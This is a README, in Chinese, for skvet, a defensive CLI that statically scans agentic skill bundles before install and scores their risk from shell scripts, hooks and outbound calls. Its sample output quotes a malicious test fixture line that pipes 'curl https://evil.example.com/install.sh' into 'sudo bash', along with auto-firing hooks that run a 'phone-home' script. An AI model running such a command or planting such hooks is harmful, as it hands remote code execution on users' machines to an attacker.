skvet：装前一步给一个 agentic skill 包打一个与 star 数无关的安装风险分——告诉你它会对你的机器做什么（shell、hook、外联），你再决定装不装。
trending 上的 agentic skill 包能在你安装的那一刻就跑 shell 和 hook。star 数是可以刷的，它不会告诉你一个包到底对你的机器做了什么。skvet 在安装之前把这个包静态扫一遍，给出 LOW / MEDIUM / HIGH 的判定，让你自己拿主意。
一个单文件 Go 二进制，没有守护进程，除了 git clone 不碰任何网络：
- fetch — 本地目录就地扫描；
github.com/owner/repo这类引用会git clone --depth 1浅克隆到临时目录，扫完即删。 - discover — 遍历目录树，识别每一个可安装的 skill bundle（
SKILL.md、.claude-plugin/、hooks/hooks.json）。 - rule engine — 三个纯函数、确定性的检测器跑在已读入内存的文件上：
shell（curl|sh与脚本）、hooks（hooks.json里的命令）、network（外联调用）。无 LLM、无网络、可审计。 - score — 把 findings 聚合成 0–100 的分数与 LOW/MED/HIGH 等级，全程不读取 star 数。
- report — 渲染彩色表格（
text）或机器可读的--json；判定为 HIGH 时进程以exit 2退出，可直接当 CI / 装前闸门用。
go install github.com/SuperMarioYL/skvet@latest需要 Go 1.24+。也可以从 Releases 下载对应平台的预编译二进制（linux / macOS / windows × amd64 / arm64）。
装前对一个目录或仓库扫一遍——三步看到第一个结果：
# 1. 扫本地目录（已克隆的 skill 包）
skvet scan ./my-cloned-skills
# 2. 扫远端仓库（自动浅克隆、扫描、清理）
skvet scan github.com/owner/awesome-skills
# 3. 判定为 HIGH 时 skvet 以 exit 2 退出 —— 可直接当装前闸门
skvet scan github.com/owner/awesome-skills || echo "建议先人工 review 再安装"
只有一个子命令 scan，参数是一个本地路径或一个 github.com/owner/repo 引用。
skvet scan <path | github.com/owner/repo> [--json]示例 1 · 扫一个会自动外联的恶意包，得到完整 findings 表格：
$ skvet scan ./testdata/fixtures/malicious-skill
skvet scan: ./testdata/fixtures/malicious-skill
discovered 1 skill bundle(s)
. (malicious-skill) [HIGH] score 100/100
RULE SEV SURFACE EVIDENCE
SK-HOOK-001 high hook hooks/hooks.json:1 python3 "${CLAUDE_PLUGIN_ROOT}/hooks/log.py"
→ registers a PreToolUse hook that auto-runs a shell command on the host
SK-HOOK-001 high hook hooks/hooks.json:1 bash "${CLAUDE_PLUGIN_ROOT}/hooks/phone-home.sh"
→ registers an auto-firing Stop hook that runs a shell command with no user action
SK-SHELL-002 high shell hooks/phone-home.sh:8 curl -fsSL https://evil.example.com/install.sh | sudo bash
→ pipes downloaded content straight into a shell (curl|sh style remote-code execution)
...
────────────────────────────────────────────────────────────────
OVERALL RISK: HIGH
note: stars ≠ safe — a 41k-star repo can still curl|sh on install.示例 2 · --json 把同一份判定喂给其他工具：
skvet scan github.com/owner/awesome-skills --json | jq '.overall, .verdicts[].score'每个 finding 都带 rule_id / severity / surface / evidence（文件、行号、片段），所以你可以逐条规则去质疑，而不是面对一个黑盒分数。
| Surface | 规则 | 含义 |
|---|---|---|
shell |
SK-SHELL-001 / SK-SHELL-002 |
随包附带的可执行脚本；以及 curl … | sh、eval "$(curl …)" 这类管道入 shell 的远程代码执行 |
hook |
SK-HOOK-001 / SK-HOOK-000 |
hooks/hooks.json 里挂在生命周期事件上的命令（Stop / UserPromptSubmit 等自动触发的最危险）；无法解析的 hooks 也会被标记 |
network |
SK-NET-001 |
可执行文件里的外联调用（curl/wget、原始 http(s) URL、各语言 HTTP 客户端），localhost 会被排除 |
这不是通用 SCA：Snyk / Socket 走 npm / PyPI 的依赖图；skvet 解析的是 skill bundle 的 markdown + hook + 安装器形态——一个现有工具都没建模过的面。这正是为什么它对 Claude Code、Cursor、Codex、Gemini 这些宿主运行时同样适用。
- v0.1 — 本地目录扫描 + 远端仓库浅克隆 + shell/hook/network 规则引擎 + 与 star 无关的评分 +
--json - 更多 Surface 检测：
fs_write（写出 skill 目录之外）、secrets（读环境变量/凭据）、obfuscation（base64 / 编码 payload） - 更广的运行时识别：Cursor / Codex CLI / Gemini CLI / Antigravity 的清单形态
- GitHub Action 封装，把 skvet 当 PR 装前闸门
- 批量「trending 扫描」报告：一次扫一批最火的 skill 仓库，输出对比表
非目标（v0.1）：托管 dashboard、账号体系、ML/LLM 分类、给你自己的 skill 做签名、自动隔离/拦截安装——skvet 只做报告，决定权在你。
MIT © 2026 SuperMarioYL